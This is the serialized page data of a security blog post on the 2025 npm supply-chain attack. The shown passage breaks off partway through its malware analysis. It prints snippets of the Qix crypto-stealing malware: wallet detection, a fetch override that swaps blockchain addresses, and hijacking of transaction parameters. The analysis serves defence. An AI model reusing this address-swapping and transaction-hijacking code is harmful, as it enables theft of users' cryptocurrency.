[{"data":1,"prerenderedAt":165073},["ShallowReactive",2],{"blog-/blog/2025-09-13-how-to-survive-supply-chain-attacks":3,"featured-blog-posts":2612},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":16,"onBlogPage":16,"tags":17,"body":20,"_type":2606,"_id":2607,"_source":2608,"_file":2609,"_stem":2610,"_extension":2611},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","blog",false,"","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z","caue",{"src":13,"width":14,"height":15},"/posts/supply-chain-attcks/title.png",1536,1024,true,[18,19],"npm","supply-chain",{"type":21,"children":22,"toc":2589},"root",[23,40,45,50,57,62,72,465,473,1072,1080,1817,1824,1829,1835,1840,1845,1851,1856,1868,1873,1900,1989,2001,2026,2045,2050,2055,2267,2310,2315,2328,2334,2346,2388,2401,2481,2493,2506,2515,2527,2535,2541,2555,2560,2566,2571,2583],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28,31,38],{"type":29,"value":30},"text","The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":32,"props":33,"children":35},"code",{"className":34},[],[36],{"type":29,"value":37},"chalk",{"type":29,"value":39},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":41,"children":42},{},[43],{"type":29,"value":44},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":46,"children":47},{},[48],{"type":29,"value":49},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":51,"props":52,"children":54},"h2",{"id":53},"qix-malware-how-it-worked",[55],{"type":29,"value":56},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":58,"children":59},{},[60],{"type":29,"value":61},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":63,"props":64,"children":65},"ol",{},[66],{"type":24,"tag":67,"props":68,"children":69},"li",{},[70],{"type":29,"value":71},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":73,"props":74,"children":78},"pre",{"code":75,"language":76,"meta":7,"className":77,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n","js","language-js shiki shiki-themes slack-dark",[79],{"type":24,"tag":32,"props":80,"children":81},{"__ignoreMap":7},[82,111,126,181,201,210,254,268,300,322,343,356,365,404,425,438,447,456],{"type":24,"tag":83,"props":84,"children":87},"span",{"class":85,"line":86},"line",1,[88,94,99,105],{"type":24,"tag":83,"props":89,"children":91},{"style":90},"--shiki-default:#569CD6",[92],{"type":29,"value":93},"async",{"type":24,"tag":83,"props":95,"children":96},{"style":90},[97],{"type":29,"value":98}," function",{"type":24,"tag":83,"props":100,"children":102},{"style":101},"--shiki-default:#DCDCAA",[103],{"type":29,"value":104}," checkethereumw",{"type":24,"tag":83,"props":106,"children":108},{"style":107},"--shiki-default:#E6E6E6",[109],{"type":29,"value":110},"() {\n",{"type":24,"tag":83,"props":112,"children":114},{"class":85,"line":113},2,[115,121],{"type":24,"tag":83,"props":116,"children":118},{"style":117},"--shiki-default:#C586C0",[119],{"type":29,"value":120},"  try",{"type":24,"tag":83,"props":122,"children":123},{"style":107},[124],{"type":29,"value":125}," {\n",{"type":24,"tag":83,"props":127,"children":129},{"class":85,"line":128},3,[130,135,141,147,152,157,162,167,171,176],{"type":24,"tag":83,"props":131,"children":132},{"style":90},[133],{"type":29,"value":134},"    const",{"type":24,"tag":83,"props":136,"children":138},{"style":137},"--shiki-default:#9CDCFE",[139],{"type":29,"value":140}," _0x124ed3",{"type":24,"tag":83,"props":142,"children":144},{"style":143},"--shiki-default:#D4D4D4",[145],{"type":29,"value":146}," =",{"type":24,"tag":83,"props":148,"children":149},{"style":117},[150],{"type":29,"value":151}," await",{"type":24,"tag":83,"props":153,"children":154},{"style":137},[155],{"type":29,"value":156}," window",{"type":24,"tag":83,"props":158,"children":159},{"style":107},[160],{"type":29,"value":161},".",{"type":24,"tag":83,"props":163,"children":164},{"style":137},[165],{"type":29,"value":166},"ethereum",{"type":24,"tag":83,"props":168,"children":169},{"style":107},[170],{"type":29,"value":161},{"type":24,"tag":83,"props":172,"children":173},{"style":101},[174],{"type":29,"value":175},"request",{"type":24,"tag":83,"props":177,"children":178},{"style":107},[179],{"type":29,"value":180},"({\n",{"type":24,"tag":83,"props":182,"children":184},{"class":85,"line":183},4,[185,191,196],{"type":24,"tag":83,"props":186,"children":188},{"style":187},"--shiki-default:#CE9178",[189],{"type":29,"value":190},"      'method'",{"type":24,"tag":83,"props":192,"children":193},{"style":137},[194],{"type":29,"value":195},":",{"type":24,"tag":83,"props":197,"children":198},{"style":187},[199],{"type":29,"value":200}," \"eth_accounts\"\n",{"type":24,"tag":83,"props":202,"children":204},{"class":85,"line":203},5,[205],{"type":24,"tag":83,"props":206,"children":207},{"style":107},[208],{"type":29,"value":209},"    });\n",{"type":24,"tag":83,"props":211,"children":213},{"class":85,"line":212},6,[214,219,224,229,233,238,243,249],{"type":24,"tag":83,"props":215,"children":216},{"style":117},[217],{"type":29,"value":218},"    if",{"type":24,"tag":83,"props":220,"children":221},{"style":107},[222],{"type":29,"value":223}," (",{"type":24,"tag":83,"props":225,"children":226},{"style":137},[227],{"type":29,"value":228},"_0x124ed3",{"type":24,"tag":83,"props":230,"children":231},{"style":107},[232],{"type":29,"value":161},{"type":24,"tag":83,"props":234,"children":235},{"style":137},[236],{"type":29,"value":237},"length",{"type":24,"tag":83,"props":239,"children":240},{"style":143},[241],{"type":29,"value":242}," >",{"type":24,"tag":83,"props":244,"children":246},{"style":245},"--shiki-default:#B5CEA8",[247],{"type":29,"value":248}," 0",{"type":24,"tag":83,"props":250,"children":251},{"style":107},[252],{"type":29,"value":253},") {\n",{"type":24,"tag":83,"props":255,"children":257},{"class":85,"line":256},7,[258,263],{"type":24,"tag":83,"props":259,"children":260},{"style":101},[261],{"type":29,"value":262},"      runmask",{"type":24,"tag":83,"props":264,"children":265},{"style":107},[266],{"type":29,"value":267},"();\n",{"type":24,"tag":83,"props":269,"children":271},{"class":85,"line":270},8,[272,277,281,286,291,296],{"type":24,"tag":83,"props":273,"children":274},{"style":117},[275],{"type":29,"value":276},"      if",{"type":24,"tag":83,"props":278,"children":279},{"style":107},[280],{"type":29,"value":223},{"type":24,"tag":83,"props":282,"children":283},{"style":137},[284],{"type":29,"value":285},"rund",{"type":24,"tag":83,"props":287,"children":288},{"style":143},[289],{"type":29,"value":290}," !=",{"type":24,"tag":83,"props":292,"children":293},{"style":245},[294],{"type":29,"value":295}," 1",{"type":24,"tag":83,"props":297,"children":298},{"style":107},[299],{"type":29,"value":253},{"type":24,"tag":83,"props":301,"children":303},{"class":85,"line":302},9,[304,309,313,317],{"type":24,"tag":83,"props":305,"children":306},{"style":137},[307],{"type":29,"value":308},"        rund",{"type":24,"tag":83,"props":310,"children":311},{"style":143},[312],{"type":29,"value":146},{"type":24,"tag":83,"props":314,"children":315},{"style":245},[316],{"type":29,"value":295},{"type":24,"tag":83,"props":318,"children":319},{"style":107},[320],{"type":29,"value":321},";\n",{"type":24,"tag":83,"props":323,"children":325},{"class":85,"line":324},10,[326,331,335,339],{"type":24,"tag":83,"props":327,"children":328},{"style":137},[329],{"type":29,"value":330},"        neth",{"type":24,"tag":83,"props":332,"children":333},{"style":143},[334],{"type":29,"value":146},{"type":24,"tag":83,"props":336,"children":337},{"style":245},[338],{"type":29,"value":295},{"type":24,"tag":83,"props":340,"children":341},{"style":107},[342],{"type":29,"value":321},{"type":24,"tag":83,"props":344,"children":346},{"class":85,"line":345},11,[347,352],{"type":24,"tag":83,"props":348,"children":349},{"style":101},[350],{"type":29,"value":351},"        newdlocal",{"type":24,"tag":83,"props":353,"children":354},{"style":107},[355],{"type":29,"value":267},{"type":24,"tag":83,"props":357,"children":359},{"class":85,"line":358},12,[360],{"type":24,"tag":83,"props":361,"children":362},{"style":107},[363],{"type":29,"value":364},"      }\n",{"type":24,"tag":83,"props":366,"children":368},{"class":85,"line":367},13,[369,374,379,384,388,392,396,400],{"type":24,"tag":83,"props":370,"children":371},{"style":107},[372],{"type":29,"value":373},"    } ",{"type":24,"tag":83,"props":375,"children":376},{"style":117},[377],{"type":29,"value":378},"else",{"type":24,"tag":83,"props":380,"children":381},{"style":117},[382],{"type":29,"value":383}," if",{"type":24,"tag":83,"props":385,"children":386},{"style":107},[387],{"type":29,"value":223},{"type":24,"tag":83,"props":389,"children":390},{"style":137},[391],{"type":29,"value":285},{"type":24,"tag":83,"props":393,"children":394},{"style":143},[395],{"type":29,"value":290},{"type":24,"tag":83,"props":397,"children":398},{"style":245},[399],{"type":29,"value":295},{"type":24,"tag":83,"props":401,"children":402},{"style":107},[403],{"type":29,"value":253},{"type":24,"tag":83,"props":405,"children":407},{"class":85,"line":406},14,[408,413,417,421],{"type":24,"tag":83,"props":409,"children":410},{"style":137},[411],{"type":29,"value":412},"      rund",{"type":24,"tag":83,"props":414,"children":415},{"style":143},[416],{"type":29,"value":146},{"type":24,"tag":83,"props":418,"children":419},{"style":245},[420],{"type":29,"value":295},{"type":24,"tag":83,"props":422,"children":423},{"style":107},[424],{"type":29,"value":321},{"type":24,"tag":83,"props":426,"children":428},{"class":85,"line":427},15,[429,434],{"type":24,"tag":83,"props":430,"children":431},{"style":101},[432],{"type":29,"value":433},"      newdlocal",{"type":24,"tag":83,"props":435,"children":436},{"style":107},[437],{"type":29,"value":267},{"type":24,"tag":83,"props":439,"children":441},{"class":85,"line":440},16,[442],{"type":24,"tag":83,"props":443,"children":444},{"style":107},[445],{"type":29,"value":446},"    }\n",{"type":24,"tag":83,"props":448,"children":450},{"class":85,"line":449},17,[451],{"type":24,"tag":83,"props":452,"children":453},{"style":107},[454],{"type":29,"value":455},"  }\n",{"type":24,"tag":83,"props":457,"children":459},{"class":85,"line":458},18,[460],{"type":24,"tag":83,"props":461,"children":462},{"style":107},[463],{"type":29,"value":464},"}\n",{"type":24,"tag":63,"props":466,"children":467},{"start":113},[468],{"type":24,"tag":67,"props":469,"children":470},{},[471],{"type":29,"value":472},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":73,"props":474,"children":476},{"code":475,"language":76,"meta":7,"className":77,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[477],{"type":24,"tag":32,"props":478,"children":479},{"__ignoreMap":7},[480,519,582,648,665,705,748,764,803,810,844,861,924,964,990,1015,1039,1047,1063],{"type":24,"tag":83,"props":481,"children":482},{"class":85,"line":86},[483,488,492,497,501,505,510,515],{"type":24,"tag":83,"props":484,"children":485},{"style":101},[486],{"type":29,"value":487},"fetch",{"type":24,"tag":83,"props":489,"children":490},{"style":143},[491],{"type":29,"value":146},{"type":24,"tag":83,"props":493,"children":494},{"style":90},[495],{"type":29,"value":496}," async",{"type":24,"tag":83,"props":498,"children":499},{"style":90},[500],{"type":29,"value":98},{"type":24,"tag":83,"props":502,"children":503},{"style":107},[504],{"type":29,"value":223},{"type":24,"tag":83,"props":506,"children":507},{"style":143},[508],{"type":29,"value":509},"...",{"type":24,"tag":83,"props":511,"children":512},{"style":137},[513],{"type":29,"value":514},"args",{"type":24,"tag":83,"props":516,"children":517},{"style":107},[518],{"type":29,"value":253},{"type":24,"tag":83,"props":520,"children":521},{"class":85,"line":113},[522,527,532,536,540,545,549,554,559,564,569,573,577],{"type":24,"tag":83,"props":523,"children":524},{"style":90},[525],{"type":29,"value":526},"  const",{"type":24,"tag":83,"props":528,"children":529},{"style":137},[530],{"type":29,"value":531}," originalResponse",{"type":24,"tag":83,"props":533,"children":534},{"style":143},[535],{"type":29,"value":146},{"type":24,"tag":83,"props":537,"children":538},{"style":117},[539],{"type":29,"value":151},{"type":24,"tag":83,"props":541,"children":542},{"style":137},[543],{"type":29,"value":544}," originalFetch",{"type":24,"tag":83,"props":546,"children":547},{"style":107},[548],{"type":29,"value":161},{"type":24,"tag":83,"props":550,"children":551},{"style":101},[552],{"type":29,"value":553},"call",{"type":24,"tag":83,"props":555,"children":556},{"style":107},[557],{"type":29,"value":558},"(",{"type":24,"tag":83,"props":560,"children":561},{"style":90},[562],{"type":29,"value":563},"this",{"type":24,"tag":83,"props":565,"children":566},{"style":107},[567],{"type":29,"value":568},", ",{"type":24,"tag":83,"props":570,"children":571},{"style":143},[572],{"type":29,"value":509},{"type":24,"tag":83,"props":574,"children":575},{"style":137},[576],{"type":29,"value":514},{"type":24,"tag":83,"props":578,"children":579},{"style":107},[580],{"type":29,"value":581},");\n",{"type":24,"tag":83,"props":583,"children":584},{"class":85,"line":128},[585,589,594,598,602,606,611,615,620,624,629,634,639,644],{"type":24,"tag":83,"props":586,"children":587},{"style":90},[588],{"type":29,"value":526},{"type":24,"tag":83,"props":590,"children":591},{"style":137},[592],{"type":29,"value":593}," contentType",{"type":24,"tag":83,"props":595,"children":596},{"style":143},[597],{"type":29,"value":146},{"type":24,"tag":83,"props":599,"children":600},{"style":137},[601],{"type":29,"value":531},{"type":24,"tag":83,"props":603,"children":604},{"style":107},[605],{"type":29,"value":161},{"type":24,"tag":83,"props":607,"children":608},{"style":137},[609],{"type":29,"value":610},"headers",{"type":24,"tag":83,"props":612,"children":613},{"style":107},[614],{"type":29,"value":161},{"type":24,"tag":83,"props":616,"children":617},{"style":101},[618],{"type":29,"value":619},"get",{"type":24,"tag":83,"props":621,"children":622},{"style":107},[623],{"type":29,"value":558},{"type":24,"tag":83,"props":625,"children":626},{"style":187},[627],{"type":29,"value":628},"'Content-Type'",{"type":24,"tag":83,"props":630,"children":631},{"style":107},[632],{"type":29,"value":633},") ",{"type":24,"tag":83,"props":635,"children":636},{"style":143},[637],{"type":29,"value":638},"||",{"type":24,"tag":83,"props":640,"children":641},{"style":187},[642],{"type":29,"value":643}," ''",{"type":24,"tag":83,"props":645,"children":646},{"style":107},[647],{"type":29,"value":321},{"type":24,"tag":83,"props":649,"children":650},{"class":85,"line":183},[651,656,661],{"type":24,"tag":83,"props":652,"children":653},{"style":90},[654],{"type":29,"value":655},"  let",{"type":24,"tag":83,"props":657,"children":658},{"style":137},[659],{"type":29,"value":660}," data",{"type":24,"tag":83,"props":662,"children":663},{"style":107},[664],{"type":29,"value":321},{"type":24,"tag":83,"props":666,"children":667},{"class":85,"line":203},[668,673,677,682,686,691,695,700],{"type":24,"tag":83,"props":669,"children":670},{"style":117},[671],{"type":29,"value":672},"  if",{"type":24,"tag":83,"props":674,"children":675},{"style":107},[676],{"type":29,"value":223},{"type":24,"tag":83,"props":678,"children":679},{"style":137},[680],{"type":29,"value":681},"contentType",{"type":24,"tag":83,"props":683,"children":684},{"style":107},[685],{"type":29,"value":161},{"type":24,"tag":83,"props":687,"children":688},{"style":101},[689],{"type":29,"value":690},"includes",{"type":24,"tag":83,"props":692,"children":693},{"style":107},[694],{"type":29,"value":558},{"type":24,"tag":83,"props":696,"children":697},{"style":187},[698],{"type":29,"value":699},"'application/json'",{"type":24,"tag":83,"props":701,"children":702},{"style":107},[703],{"type":29,"value":704},")) {\n",{"type":24,"tag":83,"props":706,"children":707},{"class":85,"line":212},[708,713,717,721,725,729,734,739,744],{"type":24,"tag":83,"props":709,"children":710},{"style":137},[711],{"type":29,"value":712},"    data",{"type":24,"tag":83,"props":714,"children":715},{"style":143},[716],{"type":29,"value":146},{"type":24,"tag":83,"props":718,"children":719},{"style":117},[720],{"type":29,"value":151},{"type":24,"tag":83,"props":722,"children":723},{"style":137},[724],{"type":29,"value":531},{"type":24,"tag":83,"props":726,"children":727},{"style":107},[728],{"type":29,"value":161},{"type":24,"tag":83,"props":730,"children":731},{"style":101},[732],{"type":29,"value":733},"clone",{"type":24,"tag":83,"props":735,"children":736},{"style":107},[737],{"type":29,"value":738},"().",{"type":24,"tag":83,"props":740,"children":741},{"style":101},[742],{"type":29,"value":743},"json",{"type":24,"tag":83,"props":745,"children":746},{"style":107},[747],{"type":29,"value":267},{"type":24,"tag":83,"props":749,"children":750},{"class":85,"line":256},[751,756,760],{"type":24,"tag":83,"props":752,"children":753},{"style":107},[754],{"type":29,"value":755},"  } ",{"type":24,"tag":83,"props":757,"children":758},{"style":117},[759],{"type":29,"value":378},{"type":24,"tag":83,"props":761,"children":762},{"style":107},[763],{"type":29,"value":125},{"type":24,"tag":83,"props":765,"children":766},{"class":85,"line":270},[767,771,775,779,783,787,791,795,799],{"type":24,"tag":83,"props":768,"children":769},{"style":137},[770],{"type":29,"value":712},{"type":24,"tag":83,"props":772,"children":773},{"style":143},[774],{"type":29,"value":146},{"type":24,"tag":83,"props":776,"children":777},{"style":117},[778],{"type":29,"value":151},{"type":24,"tag":83,"props":780,"children":781},{"style":137},[782],{"type":29,"value":531},{"type":24,"tag":83,"props":784,"children":785},{"style":107},[786],{"type":29,"value":161},{"type":24,"tag":83,"props":788,"children":789},{"style":101},[790],{"type":29,"value":733},{"type":24,"tag":83,"props":792,"children":793},{"style":107},[794],{"type":29,"value":738},{"type":24,"tag":83,"props":796,"children":797},{"style":101},[798],{"type":29,"value":29},{"type":24,"tag":83,"props":800,"children":801},{"style":107},[802],{"type":29,"value":267},{"type":24,"tag":83,"props":804,"children":805},{"class":85,"line":302},[806],{"type":24,"tag":83,"props":807,"children":808},{"style":107},[809],{"type":29,"value":455},{"type":24,"tag":83,"props":811,"children":812},{"class":85,"line":324},[813,817,822,826,831,835,840],{"type":24,"tag":83,"props":814,"children":815},{"style":90},[816],{"type":29,"value":526},{"type":24,"tag":83,"props":818,"children":819},{"style":137},[820],{"type":29,"value":821}," processedData",{"type":24,"tag":83,"props":823,"children":824},{"style":143},[825],{"type":29,"value":146},{"type":24,"tag":83,"props":827,"children":828},{"style":101},[829],{"type":29,"value":830}," replaceAddresses",{"type":24,"tag":83,"props":832,"children":833},{"style":107},[834],{"type":29,"value":558},{"type":24,"tag":83,"props":836,"children":837},{"style":137},[838],{"type":29,"value":839},"data",{"type":24,"tag":83,"props":841,"children":842},{"style":107},[843],{"type":29,"value":581},{"type":24,"tag":83,"props":845,"children":846},{"class":85,"line":345},[847,851,856],{"type":24,"tag":83,"props":848,"children":849},{"style":90},[850],{"type":29,"value":526},{"type":24,"tag":83,"props":852,"children":853},{"style":137},[854],{"type":29,"value":855}," finalResponseText",{"type":24,"tag":83,"props":857,"children":858},{"style":143},[859],{"type":29,"value":860}," =\n",{"type":24,"tag":83,"props":862,"children":863},{"class":85,"line":358},[864,869,873,878,883,888,892,897,902,906,911,915,920],{"type":24,"tag":83,"props":865,"children":866},{"style":90},[867],{"type":29,"value":868},"    typeof",{"type":24,"tag":83,"props":870,"children":871},{"style":137},[872],{"type":29,"value":821},{"type":24,"tag":83,"props":874,"children":875},{"style":143},[876],{"type":29,"value":877}," ===",{"type":24,"tag":83,"props":879,"children":880},{"style":187},[881],{"type":29,"value":882}," 'string'",{"type":24,"tag":83,"props":884,"children":885},{"style":143},[886],{"type":29,"value":887}," ?",{"type":24,"tag":83,"props":889,"children":890},{"style":137},[891],{"type":29,"value":821},{"type":24,"tag":83,"props":893,"children":894},{"style":143},[895],{"type":29,"value":896}," :",{"type":24,"tag":83,"props":898,"children":899},{"style":137},[900],{"type":29,"value":901}," JSON",{"type":24,"tag":83,"props":903,"children":904},{"style":107},[905],{"type":29,"value":161},{"type":24,"tag":83,"props":907,"children":908},{"style":101},[909],{"type":29,"value":910},"stringify",{"type":24,"tag":83,"props":912,"children":913},{"style":107},[914],{"type":29,"value":558},{"type":24,"tag":83,"props":916,"children":917},{"style":137},[918],{"type":29,"value":919},"processedData",{"type":24,"tag":83,"props":921,"children":922},{"style":107},[923],{"type":29,"value":581},{"type":24,"tag":83,"props":925,"children":926},{"class":85,"line":367},[927,931,936,940,945,950,954,959],{"type":24,"tag":83,"props":928,"children":929},{"style":90},[930],{"type":29,"value":526},{"type":24,"tag":83,"props":932,"children":933},{"style":137},[934],{"type":29,"value":935}," finalResponse",{"type":24,"tag":83,"props":937,"children":938},{"style":143},[939],{"type":29,"value":146},{"type":24,"tag":83,"props":941,"children":942},{"style":90},[943],{"type":29,"value":944}," new",{"type":24,"tag":83,"props":946,"children":947},{"style":101},[948],{"type":29,"value":949}," Response",{"type":24,"tag":83,"props":951,"children":952},{"style":107},[953],{"type":29,"value":558},{"type":24,"tag":83,"props":955,"children":956},{"style":137},[957],{"type":29,"value":958},"finalResponseText",{"type":24,"tag":83,"props":960,"children":961},{"style":107},[962],{"type":29,"value":963},", {\n",{"type":24,"tag":83,"props":965,"children":966},{"class":85,"line":406},[967,972,976,980,985],{"type":24,"tag":83,"props":968,"children":969},{"style":137},[970],{"type":29,"value":971},"    status:",{"type":24,"tag":83,"props":973,"children":974},{"style":137},[975],{"type":29,"value":531},{"type":24,"tag":83,"props":977,"children":978},{"style":107},[979],{"type":29,"value":161},{"type":24,"tag":83,"props":981,"children":982},{"style":137},[983],{"type":29,"value":984},"status",{"type":24,"tag":83,"props":986,"children":987},{"style":107},[988],{"type":29,"value":989},",\n",{"type":24,"tag":83,"props":991,"children":992},{"class":85,"line":427},[993,998,1002,1006,1011],{"type":24,"tag":83,"props":994,"children":995},{"style":137},[996],{"type":29,"value":997},"    statusText:",{"type":24,"tag":83,"props":999,"children":1000},{"style":137},[1001],{"type":29,"value":531},{"type":24,"tag":83,"props":1003,"children":1004},{"style":107},[1005],{"type":29,"value":161},{"type":24,"tag":83,"props":1007,"children":1008},{"style":137},[1009],{"type":29,"value":1010},"statusText",{"type":24,"tag":83,"props":1012,"children":1013},{"style":107},[1014],{"type":29,"value":989},{"type":24,"tag":83,"props":1016,"children":1017},{"class":85,"line":440},[1018,1023,1027,1031,1035],{"type":24,"tag":83,"props":1019,"children":1020},{"style":137},[1021],{"type":29,"value":1022},"    headers:",{"type":24,"tag":83,"props":1024,"children":1025},{"style":137},[1026],{"type":29,"value":531},{"type":24,"tag":83,"props":1028,"children":1029},{"style":107},[1030],{"type":29,"value":161},{"type":24,"tag":83,"props":1032,"children":1033},{"style":137},[1034],{"type":29,"value":610},{"type":24,"tag":83,"props":1036,"children":1037},{"style":107},[1038],{"type":29,"value":989},{"type":24,"tag":83,"props":1040,"children":1041},{"class":85,"line":449},[1042],{"type":24,"tag":83,"props":1043,"children":1044},{"style":107},[1045],{"type":29,"value":1046},"  });\n",{"type":24,"tag":83,"props":1048,"children":1049},{"class":85,"line":458},[1050,1055,1059],{"type":24,"tag":83,"props":1051,"children":1052},{"style":117},[1053],{"type":29,"value":1054},"  return",{"type":24,"tag":83,"props":1056,"children":1057},{"style":137},[1058],{"type":29,"value":935},{"type":24,"tag":83,"props":1060,"children":1061},{"style":107},[1062],{"type":29,"value":321},{"type":24,"tag":83,"props":1064,"children":1066},{"class":85,"line":1065},19,[1067],{"type":24,"tag":83,"props":1068,"children":1069},{"style":107},[1070],{"type":29,"value":1071},"};\n",{"type":24,"tag":63,"props":1073,"children":1074},{"start":128},[1075],{"type":24,"tag":67,"props":1076,"children":1077},{},[1078],{"type":29,"value":1079},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":24,"tag":73,"props":1081,"children":1083},{"code":1082,"language":76,"meta":7,"className":77,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[1084],{"type":24,"tag":32,"props":1085,"children":1086},{"__ignoreMap":7},[1087,1172,1183,1242,1284,1310,1326,1338,1372,1406,1426,1454,1462,1474,1516,1545,1573,1580,1622,1666,1711,1728,1768,1776,1801,1809],{"type":24,"tag":83,"props":1088,"children":1089},{"class":85,"line":86},[1090,1095,1099,1104,1108,1113,1117,1122,1127,1132,1136,1141,1145,1149,1153,1157,1162,1167],{"type":24,"tag":83,"props":1091,"children":1092},{"style":117},[1093],{"type":29,"value":1094},"if",{"type":24,"tag":83,"props":1096,"children":1097},{"style":107},[1098],{"type":29,"value":223},{"type":24,"tag":83,"props":1100,"children":1101},{"style":137},[1102],{"type":29,"value":1103},"_0x2c3d7e",{"type":24,"tag":83,"props":1105,"children":1106},{"style":107},[1107],{"type":29,"value":161},{"type":24,"tag":83,"props":1109,"children":1110},{"style":137},[1111],{"type":29,"value":1112},"method",{"type":24,"tag":83,"props":1114,"children":1115},{"style":143},[1116],{"type":29,"value":877},{"type":24,"tag":83,"props":1118,"children":1119},{"style":187},[1120],{"type":29,"value":1121}," 'eth_sendTransaction'",{"type":24,"tag":83,"props":1123,"children":1124},{"style":143},[1125],{"type":29,"value":1126}," &&",{"type":24,"tag":83,"props":1128,"children":1129},{"style":137},[1130],{"type":29,"value":1131}," _0x2c3d7e",{"type":24,"tag":83,"props":1133,"children":1134},{"style":107},[1135],{"type":29,"value":161},{"type":24,"tag":83,"props":1137,"children":1138},{"style":137},[1139],{"type":29,"value":1140},"params",{"type":24,"tag":83,"props":1142,"children":1143},{"style":143},[1144],{"type":29,"value":1126},{"type":24,"tag":83,"props":1146,"children":1147},{"style":137},[1148],{"type":29,"value":1131},{"type":24,"tag":83,"props":1150,"children":1151},{"style":107},[1152],{"type":29,"value":161},{"type":24,"tag":83,"props":1154,"children":1155},{"style":137},[1156],{"type":29,"value":1140},{"type":24,"tag":83,"props":1158,"children":1159},{"style":107},[1160],{"type":29,"value":1161},"[",{"type":24,"tag":83,"props":1163,"children":1164},{"style":245},[1165],{"type":29,"value":1166},"0",{"type":24,"tag":83,"props":1168,"children":1169},{"style":107},[1170],{"type":29,"value":1171},"]) {\n",{"type":24,"tag":83,"props":1173,"children":1174},{"class":85,"line":113},[1175,1179],{"type":24,"tag":83,"props":1176,"children":1177},{"style":117},[1178],{"type":29,"value":120},{"type":24,"tag":83,"props":1180,"children":1181},{"style":107},[1182],{"type":29,"value":125},{"type":24,"tag":83,"props":1184,"children":1185},{"class":85,"line":128},[1186,1190,1195,1199,1204,1208,1212,1216,1220,1224,1228,1233,1238],{"type":24,"tag":83,"props":1187,"children":1188},{"style":90},[1189],{"type":29,"value":134},{"type":24,"tag":83,"props":1191,"children":1192},{"style":137},[1193],{"type":29,"value":1194}," _0x39ad21",{"type":24,"tag":83,"props":1196,"children":1197},{"style":143},[1198],{"type":29,"value":146},{"type":24,"tag":83,"props":1200,"children":1201},{"style":101},[1202],{"type":29,"value":1203}," _0x1089ae",{"type":24,"tag":83,"props":1205,"children":1206},{"style":107},[1207],{"type":29,"value":558},{"type":24,"tag":83,"props":1209,"children":1210},{"style":137},[1211],{"type":29,"value":1103},{"type":24,"tag":83,"props":1213,"children":1214},{"style":107},[1215],{"type":29,"value":161},{"type":24,"tag":83,"props":1217,"children":1218},{"style":137},[1219],{"type":29,"value":1140},{"type":24,"tag":83,"props":1221,"children":1222},{"style":107},[1223],{"type":29,"value":1161},{"type":24,"tag":83,"props":1225,"children":1226},{"style":245},[1227],{"type":29,"value":1166},{"type":24,"tag":83,"props":1229,"children":1230},{"style":107},[1231],{"type":29,"value":1232},"], ",{"type":24,"tag":83,"props":1234,"children":1235},{"style":90},[1236],{"type":29,"value":1237},"true",{"type":24,"tag":83,"props":1239,"children":1240},{"style":107},[1241],{"type":29,"value":581},{"type":24,"tag":83,"props":1243,"children":1244},{"class":85,"line":183},[1245,1250,1254,1258,1262,1266,1271,1276,1280],{"type":24,"tag":83,"props":1246,"children":1247},{"style":137},[1248],{"type":29,"value":1249},"    